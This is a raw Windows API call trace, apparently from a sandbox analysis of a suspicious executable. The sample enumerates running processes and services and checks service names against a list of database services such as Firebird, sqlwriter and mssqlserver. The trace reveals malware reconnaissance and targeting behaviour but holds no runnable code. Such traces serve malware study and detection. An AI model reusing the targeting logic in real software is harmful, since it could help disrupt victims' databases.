	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0184.466] lstrlenW (lpString="nsi") returned 3
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0184.466] lstrlenW (lpString="PcaSvc") returned 6
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0184.466] lstrlenW (lpString="PlugPlay") returned 8
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0184.467] lstrlenW (lpString="Power") returned 5
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0184.467] lstrlenW (lpString="ProfSvc") returned 7
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0184.467] lstrlenW (lpString="RpcEptMapper") returned 12
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0184.467] lstrlenW (lpString="RpcSs") returned 5
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0184.468] lstrlenW (lpString="SamSs") returned 5
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0184.468] lstrlenW (lpString="Schedule") returned 8
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0184.468] lstrlenW (lpString="SecurityHealthService") returned 21
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0184.468] lstrlenW (lpString="SENS") returned 4
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0184.468] lstrlenW (lpString="ShellHWDetection") returned 16
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0184.469] lstrlenW (lpString="Spooler") returned 7
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0184.469] lstrlenW (lpString="StateRepository") returned 15
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0184.469] lstrlenW (lpString="SysMain") returned 7
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0184.469] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0184.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0184.469] lstrlenW (lpString="Themes") returned 6
	[0184.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0184.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0184.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0184.470] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0184.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0184.470] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0184.470] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0184.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c8
	[0184.495] Process32FirstW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0184.496] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0184.496] lstrlenW (lpString="System") returned 6
	[0184.496] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0184.497] lstrlenW (lpString="smss.exe") returned 8
	[0184.497] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.498] lstrlenW (lpString="csrss.exe") returned 9
	[0184.498] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0184.498] lstrlenW (lpString="wininit.exe") returned 11
	[0184.498] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.499] lstrlenW (lpString="csrss.exe") returned 9
	[0184.499] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0184.499] lstrlenW (lpString="winlogon.exe") returned 12
	[0184.499] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0184.500] lstrlenW (lpString="services.exe") returned 12
	[0184.500] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0184.501] lstrlenW (lpString="lsass.exe") returned 9
	[0184.501] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.501] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.501] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.502] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.502] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.502] lstrlenW (lpString="svchost.exe") returned 11
	[0184.502] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.503] lstrlenW (lpString="svchost.exe") returned 11
	[0184.503] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0184.504] lstrlenW (lpString="dwm.exe") returned 7
	[0184.504] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.505] lstrlenW (lpString="svchost.exe") returned 11
	[0184.505] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.505] lstrlenW (lpString="svchost.exe") returned 11
	[0184.505] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.506] lstrlenW (lpString="svchost.exe") returned 11
	[0184.506] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.507] lstrlenW (lpString="svchost.exe") returned 11
	[0184.507] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.507] lstrlenW (lpString="svchost.exe") returned 11
	[0184.507] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.508] lstrlenW (lpString="svchost.exe") returned 11
	[0184.508] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.508] lstrlenW (lpString="svchost.exe") returned 11
	[0184.508] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.509] lstrlenW (lpString="svchost.exe") returned 11
	[0184.509] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.509] lstrlenW (lpString="svchost.exe") returned 11
	[0184.509] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.510] lstrlenW (lpString="svchost.exe") returned 11
	[0184.510] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0184.510] lstrlenW (lpString="spoolsv.exe") returned 11
	[0184.510] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.511] lstrlenW (lpString="svchost.exe") returned 11
	[0184.511] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0184.511] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0184.511] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0184.512] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0184.512] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0184.512] lstrlenW (lpString="audiodg.exe") returned 11
	[0184.512] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0184.513] lstrlenW (lpString="Memory Compression") returned 18
	[0184.513] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.513] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.513] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0184.514] lstrlenW (lpString="sihost.exe") returned 10
	[0184.514] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.514] lstrlenW (lpString="svchost.exe") returned 11
	[0184.514] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.515] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.515] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0184.515] lstrlenW (lpString="explorer.exe") returned 12
	[0184.515] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0184.516] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0184.516] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0184.516] lstrlenW (lpString="SearchUI.exe") returned 12
	[0184.516] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0184.517] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0184.517] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0184.517] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0184.517] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0184.518] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0184.518] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.519] lstrlenW (lpString="dllhost.exe") returned 11
	[0184.519] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.520] lstrlenW (lpString="dllhost.exe") returned 11
	[0184.520] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0184.520] CloseHandle (hObject=0x3c8) returned 1
	[0184.520] Sleep (dwMilliseconds=0x1f4) 
	[0185.170] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929c00
	[0185.186] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0185.187] GetLastError () returned 0xea
	[0185.187] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4f42078
	[0185.187] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f42078, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f42078, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0185.188] CloseServiceHandle (hSCObject=0x3929c00) returned 1
	[0185.188] lstrlenW (lpString="Appinfo") returned 7
